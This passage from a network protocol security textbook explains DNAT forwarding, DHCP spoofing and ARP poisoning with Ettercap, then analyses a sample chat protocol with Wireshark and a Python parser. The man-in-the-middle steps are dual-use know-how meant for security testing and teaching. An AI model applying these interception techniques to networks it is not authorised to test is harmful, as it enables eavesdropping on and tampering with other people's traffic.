port to 192.168.0.10:8888, the router will apply its forwarding rules and send the packet to a proxy machine that can capture the traffic. The proxy then establishes a new connection to the server and forwards any packets sent from the client to the server. All traffic between the original client and the server can be captured and manipulated. Configuring DNAT depends on the OS the router is running. (If your router is running Windows, you’re probably out of luck because the functionality required to support it isn’t exposed to the user.) Setup varies considerably between different versions of Unix-like operating systems and macOS, so I’ll only show you how to configure DNAT on Linux. First, flush any existing NAT rules by entering the following command: # iptables -t nat -F Next, run the following command as the root user, replacing ORIGIP (originating IP) with the IP address to match traffic to and NEWIP with the new destination IP address you want that traffic to go to. # iptables -t nat -A PREROUTING -d ORIGIP -j DNAT --to-destination NEWIP The new NAT rule will redirect any packet routed to ORIGIP to NEWIP. (Because the DNAT occurs prior to the normal routing rules on Linux, it’s safe to choose a local network address; the DNAT rule will not affect traffic sent directly from Linux.) To apply the rule only to a specific TCP or UDP, change the command: iptables -t nat -A PREROUTING -p PROTO -d ORIGIP --dport ORIGPORT -j DNAT \ --to-destination NEWIP:NEWPORT The placeholder PROTO (for protocol) should be either tcp or udp depending on the IP protocol being redirected using the DNAT rule. The values for ORIGIP (original IP) and NEWIP are the same as earlier. You can also configure ORIGPORT (the original port) and NEWPORT if you want to change the destination port. If NEWPORT is not specified, only the IP address will be changed. Forwarding Traffic to a Gateway You’ve set up your gateway device to capture and modify traffic. Everything appears to be working properly, but there’s a problem: you can’t easily change the network configuration of the device you want to capture. Also, you have limited ability to change the network configuration the device is connected to. You need some way to reconfigure or trick the sending device into forwarding traffic through your gateway. You could accomplish this by Technet24 |||||||||||||||||||| |||||||||||||||||||| exploiting the local network by spoofing packets for either DHCP or Address Resolution Protocol (ARP). DHCP Spoofing DHCP is designed to run on IP networks to distribute network configuration information to nodes automatically. Therefore, if we can spoof DHCP traffic, we can change a node’s network configuration remotely. When DHCP is used, the network configuration pushed to a node can include an IP address as well as the default gateway, routing tables, the default DNS servers, and even additional custom parameters. If the device you want to test uses DHCP to configure its network interface, this flexibility makes it very easy to supply a custom configuration that will allow easy network traffic capture. DHCP uses the UDP protocol to send requests to and from a DHCP service on the local network. Four types of DHCP packets are sent when negotiating the network configuration: Discover Sent to all nodes on the IP network to discover a DHCP server Offer Sent by the DHCP server to the node that sent the discovery packet to offer a network configuration Request Sent by the originating node to confirm its acceptance of the offer Acknowledgment Sent by the server to confirm completion of the configuration The interesting aspect of DHCP is that it uses an unauthenticated, connectionless protocol to perform configuration. Even if an existing DHCP server is on a network, you may be able to spoof the configuration process and change the node’s network configuration, including the default gateway address, to one you control. This is called DHCP spoofing. To perform DHCP spoofing, we’ll use Ettercap, a free tool that’s available on most operating systems (although Windows isn’t officially supported). 1. On Linux, start Ettercap in graphical mode as the root user: # ettercap -G You should see the Ettercap GUI, as shown in Figure 4-4. |||||||||||||||||||| |||||||||||||||||||| Figure 4-4: The main Ettercap GUI 2. Configure Ettercap’s sniffing mode by selecting Sniff ▸ Unified Sniffing. 3. The dialog shown in Figure 4-5 should prompt you to select the network interface you want to sniff on. Select the interface connected to the network you want to perform DHCP spoofing on. (Make sure the network interface’s network is configured correctly because Ettercap will automatically send the interface’s configured IP address as the DHCP default gateway.) Figure 4-5: Selecting the sniffing interface 4. Enable DHCP spoofing by choosing Mitm ▸ Dhcp spoofing. The dialog shown in Figure 4-6 should appear, allowing you to configure the DHCP spoofing options. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 4-6: Configuring DHCP spoofing 5. The IP Pool field sets the range of IP addresses to hand out for spoofing DHCP requests. Supply a range of IP addresses that you configured for the network interface that is capturing traffic. For example, in Figure 4-6, the IP Pool value is set to 10.0.0.10-50 (the dash indicates all addresses inclusive of each value), so we’ll hand out IPs from 10.0.0.10 to 10.0.0.50 inclusive. Configure the Netmask to match your network interface’s netmask to prevent conflicts. Specify a DNS server IP of your choice. 6. Start sniffing by choosing Start ▸ Start sniffing. If DHCP spoofing is successful on the device, the Ettercap log window should look like Figure 4-7. The crucial line is fake ACK sent by Ettercap in response to the DHCP request. |||||||||||||||||||| |||||||||||||||||||| Figure 4-7: Successful DHCP spoofing That’s all there is to DHCP spoofing with Ettercap. It can be very powerful if you don’t have any other option and a DHCP server is already on the network you’re trying to attack. ARP Poisoning ARP is critical to the operation of IP networks running on Ethernet because ARP finds the Ethernet address for a given IP address. Without ARP, it would be very difficult to communicate IP traffic efficiently over Ethernet. Here’s how ARP works: when one node wants to communicate with another on the same Ethernet network, it must be able to map the IP address to an Ethernet MAC address (which is how Ethernet knows the destination node to send traffic to). The node generates an ARP request packet (see Figure 4-8) containing the node’s 6-byte Ethernet MAC address, its current IP address, and the target node’s IP address. The packet is transmitted on the Ethernet network with a destination MAC address of ff:ff:ff:ff:ff:ff, which is the defined broadcast address. Normally, an Ethernet device only processes packets with a destination address that matches its address, but if it receives a packet with the destination MAC address set to the broadcast address, it Technet24 |||||||||||||||||||| |||||||||||||||||||| will process it, too. If one of the recipients of this broadcasted message has been assigned the target IP address, it can now return an ARP response, as shown in Figure 4-9. This response is almost exactly the same as the request except the sender and target fields are reversed. Because the sender’s IP address should correspond to the original requested target IP address, the original requestor can now extract the sender’s MAC address and remember it for future network communication without having to resend the ARP request. Figure 4-8: An example ARP request packet Figure 4-9: An example ARP response How can you use ARP poisoning to your advantage? As with DHCP, there’s no authentication on ARP packets, which are intentionally sent to all nodes on the Ethernet network. Therefore, you can inform the target node you own an IP address and ensure the node forwards traffic to your rogue gateway by sending spoofed ARP packets to poison the target node’s ARP cache. You can use Ettercap to spoof the packets, as shown in Figure 4- 10. |||||||||||||||||||| |||||||||||||||||||| Figure 4-10: ARP poisoning In Figure 4-10, Ettercap sends spoofed ARP packets to the client and the router on the local network. If spoofing succeeds, these ARP packets will change the cached ARP entries for both devices to point to your proxy. WARNING Be sure to spoof ARP packets to both the client and the router to ensure that you get both sides of the communication. Of course, if all you want is one side of the communication, you only need to poison one or the other node. To start ARP poisoning, follow these steps: 1. Start Ettercap, and enter Unified Sniffing mode as you did with DHCP spoofing. 2. Select the network interface to poison (the one connected to the network with the nodes you want to poison). 3. Configure a list of hosts to ARP poison. The easiest way to get a list of hosts is to let Ettercap scan for you by choosing Hosts ▸ Scan For Hosts. Depending on the size of the network, scanning can take from a few seconds to hours. When the scan is complete, choose Hosts ▸ Host List; a dialog like the one in Figure 4-11 should appear. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 4-11: A list of discovered hosts As you can see in Figure 4-11, we’ve found two hosts. In this case, one is the client node that you want to capture, which is on IP address 192.168.100.1 with a MAC address of 08:00:27:33:81:6d. The other node is the gateway to the internet on IP address 192.168.100.10 with a MAC address of 08:00:27:68:95:c3. Most likely, you’ll already know the IP addresses configured for each network device, so you can determine which is the local machine and which is the remote machine. 4. Choose your targets. Select one of the hosts from the list and click Add to Target 1; select the other host you want to poison and click Add to Target 2. (Target 1 and Target 2 differentiate between the client and the gateway.) This should enable one-way ARP poisoning in which only data sent from Target 1 to Target 2 is rerouted. 5. Start ARP poisoning by choosing Mitm ▸ ARP poisoning. A dialog should appear. Accept the defaults and click OK. Ettercap should attempt to poison the ARP cache of your chosen targets. ARP poisoning may not work immediately because the ARP cache has to refresh. If poisoning is successful, the client node should look similar to Figure 4-12. |||||||||||||||||||| |||||||||||||||||||| Figure 4-12: Successful ARP poisoning Figure 4-12 shows the router was poisoned at IP 192.168.100.10, which has had its MAC Hardware address modified to the proxy’s MAC address of 08:00:27:08:dc:e6. (For comparison, see the corresponding entry in Figure 4-11.) Now any traffic that is sent from the client to the router will instead be sent to the proxy (shown by the MAC address of 192.168.100.5). The proxy can forward the traffic to the correct destination after capturing or modifying it. One advantage that ARP poisoning has over DHCP spoofing is that you can redirect nodes on the local network to communicate with your gateway even if the destination is on the local network. ARP poisoning doesn’t have to poison the connection between the node and the external gateway if you don’t want it to. Final Words In this chapter, you’ve learned a few additional ways to capture and modify traffic between a client and server. I began by describing how to configure your OS as an IP gateway, because if you can forward traffic through your own gateway, you have a number of techniques available to you. Of course, just getting a device to send traffic to your network capture device isn’t always easy, so employing techniques such as DHCP spoofing or ARP poisoning is important to ensure that traffic is sent to your device rather than directly to the internet. Fortunately, as you’ve seen, you don’t need custom tools to do so; all the tools you need are either already included in your operating system (especially if you’re running Linux) or easily downloadable. Technet24 |||||||||||||||||||| |||||||||||||||||||| 5 ANALYSIS FROM THE WIRE In Chapter 2, I discussed how to capture network traffic for analysis. Now it’s time to put that knowledge to the test. In this chapter, we’ll examine how to analyze captured network protocol traffic from a chat application to understand the protocol in use. If you can determine which features a protocol supports, you can assess its security. Analysis of an unknown protocol is typically incremental. You begin by capturing network traffic, and then analyze it to try to understand what each part of the traffic represents. Throughout this chapter, I’ll show you how to use Wireshark and some custom code to inspect an unknown network protocol. Our approach will include extracting structures and state information. The Traffic-Producing Application: SuperFunkyChat The test subject for this chapter is a chat application I’ve written in C# called SuperFunkyChat, which will run on Windows, Linux, and macOS. Download the latest prebuild applications and source code from the GitHub page at https://github.com/tyranid/ExampleChatApplication/releases/; be sure to choose the release binaries appropriate for your platform. (If you’re using Mono, choose the .NET version, and so on.) The example client and server console applications for SuperFunkyChat are called ChatClient and ChatServer. After you’ve downloaded the application, unpack the release files to a directory on your machine so you can run each application. For the sake of simplicity, all example command lines will use the Windows executable binaries. If you’re running under Mono, prefix the command with the path to the main mono binary. When running files for .NET Core, prefix the command with the dotnet binary. The files for .NET will have a .dll extension instead of .exe. Starting the Server Start the server by running ChatServer.exe with no parameters. If successful, it should print some basic information, as shown in Listing 5-1. C:\SuperFunkyChat> ChatServer.exe ChatServer (c) 2017 James Forshaw WARNING: Don't use this for a real chat system!!! Running server on port 12345 Global Bind False Listing 5-1: Example output from running ChatServer |||||||||||||||||||| |||||||||||||||||||| NOTE Pay attention to the warning! This application has not been designed to be a secure chat system. Notice in Listing 5-1 that the final line prints the port the server is running on (12345 in this case) and whether the server has bound to all interfaces (global). You probably won’t need to change the port (--port NUM), but you might need to change whether the application is bound to all interfaces if you want clients and the server to exist on different computers. This is especially important on Windows. It’s not easy to capture traffic to the local loopback interface on Windows; if you encounter any difficulties, you may need to run the server on a separate computer or a virtual machine (VM). To bind to all interfaces, specify the --global parameter. Starting Clients With the server running, we can start one or more clients. To start a client, run ChatClient.exe (see Listing 5-2), specify the username you want to use on the server (the username can be anything you like), and specify the server hostname (for example, localhost). When you run the client, you should see output similar to that shown in Listing 5-2. If you see any errors, make sure you’ve set up the server correctly, including requiring binding to all interfaces or disabling the firewall on the server. C:\SuperFunkyChat> ChatClient.exe USERNAME HOSTNAME ChatClient (c) 2017 James Forshaw WARNING: Don't use this for a real chat system!!! Connecting to localhost:12345 Listing 5-2: Example output from running ChatClient As you start the client, look at the running server: you should see output on the console similar to Listing 5-3, indicating that the client has successfully sent a “Hello” packet. Connection from 127.0.0.1:49825 Received packet ChatProtocol.HelloProtocolPacket Hello Packet for User: alice HostName: borax Listing 5-3: The server output when a client connects Communicating Between Clients After you’ve completed the preceding steps successfully, you should be able to connect multiple clients so you can communicate between them. To send a message to all users with the ChatClient, enter the message on the command line and press ENTER. The ChatClient also supports a few other commands, which all begin with a forward slash (/), as detailed in Table 5-1. Technet24 |||||||||||||||||||| |||||||||||||||||||| Table 5-1: Commands for the ChatClient Application Command Description /quit [message] Quit client with optional message /msg user message Send a message to a specific user /list List other users on the system /help Print help information You’re ready to generate traffic between the SuperFunkyChat clients and server. Let’s start our analysis by capturing and inspecting some traffic using Wireshark. A Crash Course in Analysis with Wireshark In Chapter 2, I introduced Wireshark but didn’t go into any detail on how to use Wireshark to analyze rather than simply capture traffic. Because Wireshark is a very powerful and comprehensive tool, I’ll only scratch the surface of its functionality here. When you first start Wireshark on Windows, you should see a window similar to the one shown in Figure 5-1. Figure 5-1: The main Wireshark window on Windows The main window allows you to choose the interface to capture traffic from. To ensure we capture only the traffic we want to analyze, we need to configure some options on the interface. Select Capture ▸ Options from the menu. Figure 5-2 shows the options dialog that opens. |||||||||||||||||||| |||||||||||||||||||| Figure 5-2: The Wireshark Capture Interfaces dialog Select the network interface you want to capture traffic from, as shown at ➊. Because we’re using Windows, choose Local Area Connection, which is our main Ethernet connection; we can’t easily capture from Localhost. Then set a capture filter ➋. In this case, we specify the filter ip host 192.168.10.102 to limit capture to traffic to or from the IP address 192.168.10.102. (The IP address we’re using is the chat server’s address. Change the IP address as appropriate for your configuration.) Click the Start button to begin capturing traffic. Generating Network Traffic and Capturing Packets The main approach to packet analysis is to generate as much traffic from the target application as possible to improve your chances of finding its various protocol structures. For example, Listing 5-4 shows a single session with ChatClient for alice. # alice - Session > Hello There! < bob: I've just joined from borax < bob: How are you? < bob: This is nice isn't it? < bob: Woo < Server: 'bob' has quit, they said 'I'm going away now!' < bob: I've just joined from borax < bob: Back again for another round. < Server: 'bob' has quit, they said 'Nope!' > /quit < Server: Don't let the door hit you on the way out! Listing 5-4: Single ChatClient session for alice. Technet24 |||||||||||||||||||| |||||||||||||||||||| And Listing 5-5 and Listing 5-6 show two sessions for bob. # bob - Session 1 > How are you? > This is nice isn't it? > /list < User List < alice - borax > /msg alice Woo > /quit < Server: Don't let the door hit you on the way out! Listing 5-5: First ChatClient session for bob # bob - Session 2 > Back again for another round. > /quit Nope! < Server: Don't let the door hit you on the way out! Listing 5-6: Second ChatClient session for bob We run two sessions for bob so we can capture any connection or disconnection events that might only occur between sessions. In each session, a right angle bracket (>) indicates a command to enter into the ChatClient, and a left angle bracket (<) indicates responses from the server being written to the console. You can execute the commands to the client for each of these session captures to reproduce the rest of the results in this chapter for analysis. Now turn to Wireshark. If you’ve configured Wireshark correctly and bound it to the correct interface, you should start seeing packets being captured, as shown in Figure 5-3. |||||||||||||||||||| |||||||||||||||||||| Figure 5-3: Captured traffic in Wireshark After running the example sessions, stop the capture by clicking the Stop button (highlighted) and save the packets for later use if you want. Basic Analysis Let’s look at the traffic we’ve captured. To get an overview of the communication that occurred during the capture period, choose among the options on the Statistics menu. For example, choose Statistics ▸ Conversations, and you should see a new window displaying high-level conversations such as TCP sessions, as shown in the Conversations window in Figure 5-4. Figure 5-4: The Wireshark Conversations window The Conversations window shows three separate TCP conversations in the captured traffic. We know that the SuperFunkyChat client application uses port 12345, because we see three separate TCP sessions coming from port 12345. These sessions should correspond to the three client sessions shown in Listing 5-4, Listing 5-5, and Listing 5-6. Reading the Contents of a TCP Session To view the captured traffic for a single conversation, select one of the conversations in the Conversations window and click the Follow Stream button. A new window displaying the contents of the stream as ASCII text should appear, as shown in Figure 5-5. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 5-5: Displaying the contents of a TCP session in Wireshark’s Follow TCP Stream view Wireshark replaces data that can’t be represented as ASCII characters with a single dot character, but even with that character replacement, it’s clear that much of the data is being sent in plaintext. That said, the network protocol is clearly not exclusively a text- based protocol because the control information for the data is nonprintable characters. The only reason we’re seeing text is that SuperFunkyChat’s primary purpose is to send text messages. Wireshark shows the inbound and outbound traffic in a session using different colors: pink for outbound traffic and blue for inbound. In a TCP session, outbound traffic is from the client that initiated the TCP session, and inbound traffic is from the TCP server. Because we’ve captured all traffic to the server, let’s look at another conversation. To change the conversation, change the Stream number ➊ in Figure 5-5 to 1. You should now see a different conversation, for example, like the one in Figure 5-6. |||||||||||||||||||| |||||||||||||||||||| Figure 5-6: A second TCP session from a different client Compare Figure 5-6 to Figure 5-5; you’ll see the details of the two sessions are different. Some text sent by the client (in Figure 5-6), such as “How are you?”, is shown as received by the server in Figure 5-5. Next, we’ll try to determine what those binary parts of the protocol represent. Identifying Packet Structure with Hex Dump At this point, we know that our subject protocol seems to be part binary and part text, which indicates that looking at just the printable text won’t be enough to determine all the various structures in the protocol. To dig in, we first return to Wireshark’s Follow TCP Stream view, as shown in Figure 5-5, and change the Show and save data as drop-down menu to the Hex Dump option. The stream should now look similar to Figure 5-7. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 5-7: The Hex Dump view of the stream The Hex Dump view shows three columns of information. The column at the very left ➊ is the byte offset into the stream for a particular direction. For example, the byte at 0 is the first byte sent in that direction, the byte 4 is the fifth, and so on. The column in the center ➋ shows the bytes as a hex dump. The column at the right ➌ is the ASCII representation, which we saw previously in Figure 5-5. Viewing Individual Packets Notice how the blocks of bytes shown in the center column in Figure 5-7 vary in length. Compare this again to Figure 5-6; you’ll see that other than being separated by direction, all data in Figure 5-6 appears as one contiguous block. In contrast, the data in Figure 5-7 might appear as just a few blocks of 4 bytes, then a block of 1 byte, and finally a much longer block containing the main group of text data. What we’re seeing in Wireshark are individual packets: each block is a single TCP packet, or segment, containing perhaps only 4 bytes of data. TCP is a stream-based protocol, which means that there are no real boundaries between consecutive blocks of data when you’re reading and writing data to a TCP socket. However, from a physical perspective, there’s no such thing as a real stream-based network transport protocol. Instead, TCP sends individual packets consisting of a TCP header containing information, such as the source and destination port numbers as well as the data. In fact, if we return to the main Wireshark window, we can find a packet to prove that Wireshark is displaying single TCP packets. Select Edit ▸ Find Packet, and an additional drop-down menu appears in the main window, as shown Figure 5-8. |||||||||||||||||||| |||||||||||||||||||| Figure 5-8: Finding a packet in Wireshark’s main window We’ll find the first value shown in Figure 5-7, the string BINX. To do this, fill in the Find options as shown in Figure 5-8. The first selection box indicates where in the packet capture to search. Specify that you want to search in the Packet bytes ➊. Leave the second selection box as Narrow & Wide, which indicates that you want to search for both ASCII and Unicode strings. Also leave the Case sensitive box unchecked and specify that you want to look for a String value ➋ in the third drop-down menu. Then enter the string value we want to find, in this case the string BINX ➌. Finally, click the Find button, and the main window should automatically scroll and highlight the first packet Wireshark finds that contains the BINX string ➍. In the middle window at ➎, you should see that the packet contains 4 bytes, and you can see the raw data in the bottom window, which shows that we’ve found the BINX string ➏. We now know that the Hex Dump view Wireshark displays in Figure 5-8 represents packet boundaries because the BINX string is in a packet of its own. Determining the Protocol Structure To simplify determining the protocol structure, it makes sense to look only at one direction of the network communication. For example, let’s just look at the outbound direction (from client to server) in Wireshark. Returning to the Follow TCP Stream view, select the Hex Dump option in the Show and save data as drop-down menu. Then select the traffic direction from the client to the server on port 12345 from the drop-down menu at ➊, as shown in Figure 5-9. Technet24 |||||||||||||||||||| |||||||||||||||||||| Figure 5-9: A hex dump showing only the outbound direction Click the Save as . . . button to copy the outbound traffic hex dump to a text file to make it easier to inspect. Listing 5-7 shows a small sample of that traffic saved as text. 00000000 42 49 4e 58 BINX➊ 00000004 00 00 00 0d ....➋ 00000008 00 00 03 55 ...U➌ 0000000C 00 .➍ 0000000D 05 61 6c 69 63 65 04 4f 4e 59 58 00 .alice.O NYX.➎ 00000019 00 00 00 14 .... 0000001D 00 00 06 3f ...? 00000021 03 . 00000022 05 61 6c 69 63 65 0c 48 65 6c 6c 6f 20 54 68 65 .alice.H ello The 00000032 72 65 21 re! --snip-- Listing 5-7: A snippet of outbound traffic The outbound stream begins with the four characters BINX ➊. These characters are never repeated in the rest of the data stream, and if you compare different sessions, you’ll always find the same four characters at the start of the stream. If I were unfamiliar with this protocol, my intuition at this point would be that this is a magic value sent from the client to the server to tell the server that it’s talking to a valid client rather than some other application that happens to have connected to the server’s TCP port. Following the stream, we see that a sequence of four blocks is sent. The blocks at ➋ and ➌ are 4 bytes, the block at ➍ is 1 byte, and the block at ➎ is larger and contains mostly readable text. Let’s consider the first block of 4 bytes at ➋. Might these represent a small number, say the integer value 0xD or 13 in decimal? Recall the discussion of the Tag, Length, Value (TLV) pattern in Chapter 3. TLV is a very simple pattern in which each block of data is delimited by a value representing the |||||||||||||||||||| |||||||||||||||||||| length of the data that follows. This pattern is especially important for stream-based protocols, such as those running over TCP, because otherwise the application doesn’t know how much data it needs to read from a connection to process the protocol. If we assume that this first value is the length of the data, does this length match the length of the rest of the packet? Let’s find out. Count the total bytes of the blocks at ➋, ➌, ➍, and ➎, which seem to be a single packet, and the result is 21 bytes, which is eight more than the value of 13 we were expecting (the integer value 0xD). The value of the length block might not be counting its own length. If we remove the length block (which is 4 bytes), the result is 17, which is 4 bytes more than the target length but getting closer. We also have the other unknown 4-byte block at ➌ following the potential length, but perhaps that’s not counted either. Of course, it’s easy to speculate, but facts are more important, so let’s do some testing. Testing Our Assumptions At this point in such an analysis, I stop staring at a hex dump because it’s not the most efficient approach. One way to quickly test whether our assumptions are right is to export the data for the stream and write some simple code to parse the structure. Later in this chapter, we’ll write some code for Wireshark to do all of our testing within the GUI, but for now we’ll implement the code using Python on the command line. To get our data into Python, we could add support for reading Wireshark capture files, but for now we’ll just export the packet bytes to a file. To export the packets from the dialog shown in Figure 5-9, follow these steps: 1. In the Show and save data as drop-down menu, choose the Raw option. 2. Click Save As to export the outbound packets to a binary file called bytes_outbound.bin. We also want to export the inbound packets, so change to and select the inbound conversation. Then save the raw inbound bytes using the preceding steps, but name the file bytes_inbound.bin. Now use the XXD tool (or a similar tool) on the command line to be sure that we’ve successfully dumped the data, as shown in Listing 5-8. $ xxd bytes_outbound.bin 00000000: 4249 4e58 0000 000f 0000 0473 0003 626f BINX.......s..bo 00000010: 6208 7573 6572 2d62 6f78 0000 0000 1200 b.user-box...... 00000020: 0005 8703 0362 6f62 0c48 6f77 2061 7265 .....bob.How are 00000030: 2079 6f75 3f00 0000 1c00 0008 e303 0362 you?..........b 00000040: 6f62 1654 6869 7320 6973 206e 6963 6520 ob.This is nice 00000050: 6973 6e27 7420 6974 3f00 0000 0100 0000 isn't it?....... 00000060: 0606 0000 0013 0000 0479 0505 616c 6963 .........y..alic 00000070: 6500 0000 0303 626f 6203 576f 6f00 0000 e.....bob.Woo... 00000080: 1500 0006 8d02 1349 276d 2067 6f69 6e67 .......I'm going 00000090: 2061 7761 7920 6e6f 7721 away now! Technet24 |||||||||||||||||||| |||||||||||||||||||| Listing 5-8: The exported packet bytes Dissecting the Protocol with Python Now we’ll write a simple Python script to dissect the protocol. Because we’re just extracting data from a file, we don’t need to write any network code; we just need to open the file and read the data. We’ll also need to read binary data from the file—specifically, a network byte order integer for the length and unknown 4-byte block. Performing the Binary Conversion We can use the built-in Python struct library to do the binary conversions. The script should fail immediately if something doesn’t seem right, such as not being able to read all the data we expect from the file. For example, if the length is 100 bytes and we can read only 20 bytes, the read should fail. If no errors occur while parsing the file, we can be more confident that our analysis is correct. Listing 5-9 shows the first implementation, written to work in both Python 2 and 3. from struct import unpack import sys import os # Read fixed number of bytes ➊ def read_bytes(f, l): bytes = f.read(l) ➋ if len(bytes) != l: raise Exception("Not enough bytes in stream") return bytes # Unpack a 4-byte network byte order integer ➌ def read_int(f): return unpack("!i", read_bytes(f, 4))[0] # Read a single byte ➍ def read_byte(f): return ord(read_bytes(f, 1)) filename = sys.argv[1] file_size = os.path.getsize(filename) f = open(filename, "rb") ➎ print("Magic: %s" % read_bytes(f, 4)) # Keep reading until we run out of file ➏ while f.tell() < file_size: length = read_int(f) unk1 = read_int(f) unk2 = read_byte(f) data = read_bytes(f, length - 1) print("Len: %d, Unk1: %d, Unk2: %d, Data: %s" % (length, unk1, unk2, data)) Listing 5-9: An example Python script for parsing protocol data Let’s break down the important parts of the script. First, we define some helper functions to read data from the file. The function read_bytes() ➊ reads a fixed number of |||||||||||||||||||| |||||||||||||||||||| bytes from the file specified as a parameter. If not enough bytes are in the file to satisfy the read, an exception is thrown to indicate an error ➋. We also define a function read_int() ➌ to read a 4-byte integer from the file in network byte order where the most significant byte of the integer is first in the file, as well as define a function to read a single byte ➍. In the main body of the script, we open a file passed on the command line and first read a 4-byte value ➎, which we expect is the magic value BINX. Then the code enters a loop ➏ while there’s still data to read, reading out the length, the two unknown values, and finally the data and then printing the values to the console. When you run the script in Listing 5-9 and pass it the name of a binary file to open, all data from the file should be parsed and no errors generated if our analysis that the first 4- byte block was the length of the data sent on the network is correct. Listing 5-10 shows example output in Python 3, which does a better job of displaying binary strings than Python 2. $ python3 read_protocol.py bytes_outbound.bin Magic: b'BINX' Len: 15, Unk1: 1139, Unk2: 0, Data: b'\x03bob\x08user-box\x00' Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cHow are you?' Len: 28, Unk1: 2275, Unk2: 3, Data: b"\x03bob\x16This is nice isn't it?" Len: 1, Unk1: 6, Unk2: 6, Data: b'' Len: 19, Unk1: 1145, Unk2: 5, Data: b'\x05alice\x00\x00\x00\x03\x03bob\x03Woo' Len: 21, Unk1: 1677, Unk2: 2, Data: b"\x13I'm going away now!" Listing 5-10: Example output from running Listing 5-9 against a binary file Handling Inbound Data If you ran Listing 5-9 against an exported inbound data set, you would immediately get an error because there’s no magic string BINX in the inbound protocol, as shown in Listing 5- 11. Of course, this is what we would expect if there were a mistake in our analysis and the length field wasn’t quite as simple as we thought. $ python3 read_protocol.py bytes_inbound.bin Magic: b'\x00\x00\x00\x02' Length: 1, Unknown1: 16777216, Unknown2: 0, Data: b'' Traceback (most recent call last): File "read_protocol.py", line 31, in <module> data = read_bytes(f, length - 1) File "read_protocol.py", line 9, in read_bytes raise Exception("Not enough bytes in stream") Exception: Not enough bytes in stream Listing 5-11 Error generated by Listing 5-9 on inbound data We can clear up this error by modifying the script slightly to include a check for the magic value and reset the file pointer if it’s not equal to the string BINX. Add the following line just after the file is opened in the original script to reset the file pointer to the start if the magic value is incorrect. if read_bytes(f, 4) != b'BINX': f.seek(0) Technet24 |||||||||||||||||||| |||||||||||||||||||| Now, with this small modification, the script will execute successfully on the inbound data and result in the output shown in Listing 5-12. $ python3 read_protocol.py bytes_inbound.bin Len: 2, Unk1: 1, Unk2: 1, Data: b'\x00' Len: 36, Unk1: 3146, Unk2: 3, Data: b"\x03bob\x1eI've just joined from user-box" Len: 18, Unk1: 1415, Unk2: 3, Data: b'\x03bob\x0cHow are you?' Listing 5-12: Output of modified script on inbound data Digging into the Unknown Parts of the Protocol We can use the output in Listing 5-10 and Listing 5-12 to start delving into the unknown parts of the protocol. First, consider the field labeled Unk1. The values it takes seem to be different for every packet, but the values are low, ranging from 1 to 3146. But the most informative parts of the output are the following two entries, one from the outbound data and one from the inbound. OUTBOUND: Len: 1, Unk1: 6, Unk2: 6, Data: b'' INBOUND: Len: 2, Unk1: 1, Unk2: 1, Data: b'\x00' Notice that in both entries the value of Unk1 is the same as Unk2. That could be a coincidence, but the fact that both entries have the same value might indicate something important. Also notice that in the second entry the length is 2, which includes the Unk2 value and a 0 data value, whereas the length of the first entry is only 1 with no trailing data after the Unk2 value. Perhaps Unk1 is directly related to the data in the packet? Let’s find out. Calculating the Checksum It’s common to add a checksum to a network protocol. The canonical example of a checksum is just the sum of all the bytes in the data you want to check for errors. If we assume that the unknown value is a simple checksum, we can sum all the bytes in the example outbound and inbound packets I highlighted in the preceding section, resulting in the calculated sum shown in Table 5-2. Table 5-2: Testing Checksum for Example Packets Unknown value Data bytes Sum of data bytes 6 6 6 1 1, 0 1 Although Table 5-2 seems to confirm that the unknown value matches our expectation of a simple checksum for very simple packets, we still need to verify that the checksum works for larger and more complex packets. There are two easy ways to determine whether we’ve guessed correctly that the unknown value is a checksum over the data. One way is to |||||||||||||||||||| |||||||||||||||||||| send simple, incrementing messages from a client (like A, then B, then C, and so on), capture the data, and analyze it. If the checksum is a simple addition, the value should increment by 1 for each incrementing message. The alternative would be to add a function to calculate the checksum to see whether the checksum matches between what was captured on the network and our calculated value. To test our assumptions, add the code in Listing 5-13 to the script in Listing 5-7 and add a call to it after reading the data to calculate the checksum. Then just compare the value extracted from the network capture as Unk1 and the calculated value to see whether our calculated checksum matches. def calc_chksum(unk2, data): chksum = unk2 for i in range(len(data)): chksum += ord(data[i:i+1]) return chksum Listing 5-13: Calculating the checksum of a packet And it does! The numbers calculated match the value of Unk1. So, we’ve discovered the next part of the protocol structure. Discovering a Tag Value Now we need to determine what Unk2 might represent. Because the value of Unk2 is considered part of the packet’s data, it’s presumably related to the meaning of what is being sent. However, as we saw at ➍ in Listing 5-7, the value of Unk2 is being written to the network as a single byte value, which indicates that it’s actually separate from the data. Perhaps the value represents the Tag part of a TLV pattern, just as we suspect that Length is the Value part of that construction. To determine whether Unk2 is in fact the Tag value and a representation of how to interpret the rest of the data, we’ll exercise the ChatClient as much as possible, try all possible commands, and capture the results. We can then perform basic analysis comparing the value of Unk2 when sending the same type of command to see whether the value of Unk2 is always the same. For example, consider the client sessions in Listing 5-4, Listing 5-5, and Listing 5-6. In the session in Listing 5-5, we sent two messages, one after another. We’ve already analyzed this session using our Python script in Listing 5-10. For simplicity, Listing 5-14 shows only the first three capture packets (with the latest version of the script). Unk2: 0➊, Data: b'\x03bob\x08user-box\x00' Unk2: 3➋, Data: b'\x03bob\x0cHow are you?' Unk2: 3➌, Data: b"\x03bob\x16This is nice isn't it?" *SNIP* Listing 5-14: The first three packets from the session represented by Listing 5-5 Technet24 |||||||||||||||||||| |||||||||||||||||||| The first packet ➊ doesn’t correspond to anything we typed into the client session in Listing 5-5. The unknown value is 0. The two messages we then sent in Listing 5-5 are clearly visible as text in the Data part of the packets at ➋ and ➌. The Unk2 values for both of those messages is 3, which is different from the first packet’s value of 0. Based on this observation, we can assume that the value of 3 might represent a packet that is sending a message, and if that’s the case, we’d expect to find a value of 3 used in every connection when sending a single value. In fact, if you now analyze a different session containing messages being sent, you’ll find the same value of 3 used whenever a message is sent. NOTE At this stage in my analysis, I’d return to the various client sessions and try to correlate the action I performed in the client with the messages sent. Also, I’d correlate the messages I received from the server with the client’s output. Of course, this is easy when there’s likely to be a one-to-one match between the command we use in the client and the result on the network. However, more complex protocols and applications might not be that obvious, so you’ll have to do a lot of correlation and testing to try to discover all the possible values for particular parts of the protocol. We can assume that Unk2 represents the Tag part of the TLV structure. Through further analysis, we can infer the possible Tag values, as shown in Table 5-3. Table 5-3: Inferred Commands from Analysis of Captured Sessions Command number Direction Description 0 Outbound Sent when client connects to server. 1 Inbound Sent from server after client sends command '0' to the server. 2 